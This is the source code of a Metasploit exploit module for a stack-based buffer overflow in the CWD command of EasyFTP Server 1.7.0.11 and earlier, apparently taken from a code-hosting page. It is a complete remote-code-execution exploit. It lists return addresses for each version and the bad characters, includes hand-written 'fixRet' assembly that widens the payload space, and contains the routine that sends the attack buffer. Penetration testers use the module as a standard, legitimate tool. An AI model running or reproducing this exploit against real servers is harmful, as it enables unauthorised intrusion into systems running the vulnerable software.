Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/ftp/easyftp_cwd_fixret.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78include Msf::Exploit::Remote::Ftp910def initialize(info = {})11super(update_info(info,12'Name' => 'EasyFTP Server CWD Command Stack Buffer Overflow',13'Description' => %q{14This module exploits a stack-based buffer overflow in EasyFTP Server 1.7.0.1115and earlier. EasyFTP fails to check input size when parsing 'CWD' commands, which16leads to a stack based buffer overflow. EasyFTP allows anonymous access by17default; valid credentials are typically unnecessary to exploit this vulnerability.1819After version 1.7.0.12, this package was renamed "UplusFtp".2021This exploit utilizes a small piece of code that I\'ve referred to as 'fixRet'.22This code allows us to inject of payload of ~500 bytes into a 264 byte buffer by23'fixing' the return address post-exploitation. See references for more information.24},25'Author' =>26[27'Paul Makowski <my.hndl[at]gmail.com>', # original version28'jduck' # various fixes, remove most hardcoded addresses29],30'License' => MSF_LICENSE,31'References' =>32[33[ 'OSVDB', '62134' ],34[ 'BID', '38262' ],35[ 'URL', 'http://paulmakowski.wordpress.com/2010/02/28/increasing-payload-size-w-return-address-overwrite/' ],36[ 'URL', 'http://paulmakowski.wordpress.com/2010/04/19/metasploit-plugin-for-easyftp-server-exploit' ],37[ 'URL', 'https://seclists.org/bugtraq/2010/Feb/202' ]38],39'Privileged' => false,40'Payload' =>41{42# Total bytes able to write without crashing program (505) - length of fixRet (25) - slack space (30) = 45043'Space' => 505 - 30 - 25,44'BadChars' => "\x00\x0a\x2f\x5c", # from: http://downloads.securityfocus.com/vulnerabilities/exploits/38262-1.py45'DisableNops' => true46},47'Platform' => 'win',48'Targets' =>49[50[ 'Windows Universal - v1.7.0.2', { 'Ret' => 0x00404121 } ], # call edi - from ftpbasicsvr.exe51[ 'Windows Universal - v1.7.0.3', { 'Ret' => 0x00404121 } ], # call edi - from ftpbasicsvr.exe52[ 'Windows Universal - v1.7.0.4', { 'Ret' => 0x00404111 } ], # call edi - from ftpbasicsvr.exe53[ 'Windows Universal - v1.7.0.5', { 'Ret' => 0x004040ea } ], # call edi - from ftpbasicsvr.exe54[ 'Windows Universal - v1.7.0.6', { 'Ret' => 0x004040ea } ], # call edi - from ftpbasicsvr.exe55[ 'Windows Universal - v1.7.0.7', { 'Ret' => 0x004040ea } ], # call edi - from ftpbasicsvr.exe56[ 'Windows Universal - v1.7.0.8', { 'Ret' => 0x004043ca } ], # call edi - from ftpbasicsvr.exe57[ 'Windows Universal - v1.7.0.9', { 'Ret' => 0x0040438a } ], # call edi - from ftpbasicsvr.exe58[ 'Windows Universal - v1.7.0.10', { 'Ret' => 0x0040435a } ], # call edi - from ftpbasicsvr.exe59[ 'Windows Universal - v1.7.0.11', { 'Ret' => 0x0040435a } ], # call edi - from ftpbasicsvr.exe60],61'DisclosureDate' => '2010-02-16',62'DefaultTarget' => 0))63end6465def check66connect67disconnect6869if (banner =~ /BigFoolCat/) # EasyFTP Server has undergone several name changes70return Exploit::CheckCode::Detected71end72return Exploit::CheckCode::Safe73end7475def exploit76connect_login7778# If the payload's length is larger than 233 bytes then the payload must be bisected with the return address and later patched.79# Explanation of technique: http://paulmakowski.wordpress.com/2010/02/28/increasing-payload-size-w-return-address-overwrite/8081# NOTE:82# This exploit jumps to edi, which happens to point at a partial version of83# the 'buf' string in memory. The fixRet below fixes up the code stored on the84# stack and then jumps there to execute the payload. The value in esp is used85# with an offset for the fixup.86fixRet_asm = %q{87mov ecx, 0xdeadbeef88mov edi, esp89sub edi, 0xfffffe1490mov [edi], ecx91add edi, 0xffffff1492jmp edi93}94fixRet = Metasm::Shellcode.assemble(Metasm::Ia32.new, fixRet_asm).encode_string9596buf = ''9798print_status("Prepending fixRet...")99buf << fixRet100buf << make_nops(0x20 - buf.length)101#buf << "C" * (0x20 - buf.length)102103print_status("Adding the payload...")104buf << payload.encoded105106# Backup the original return address bytes107buf[1,4] = buf[268,4]108109print_status("Overwriting part of the payload with target address...")110buf[268,4] = [target.ret].pack('V') # put return address @ 268 bytes111112# NOTE: SEH head at offset 256 also gets smashed. That is, it becomes what is at fs:[0] ..113114print_status("Sending exploit buffer...")115send_cmd( ['CWD', buf] , false) # this will automatically put a space between 'CWD' and our attack string116117handler118disconnect119end120end121122123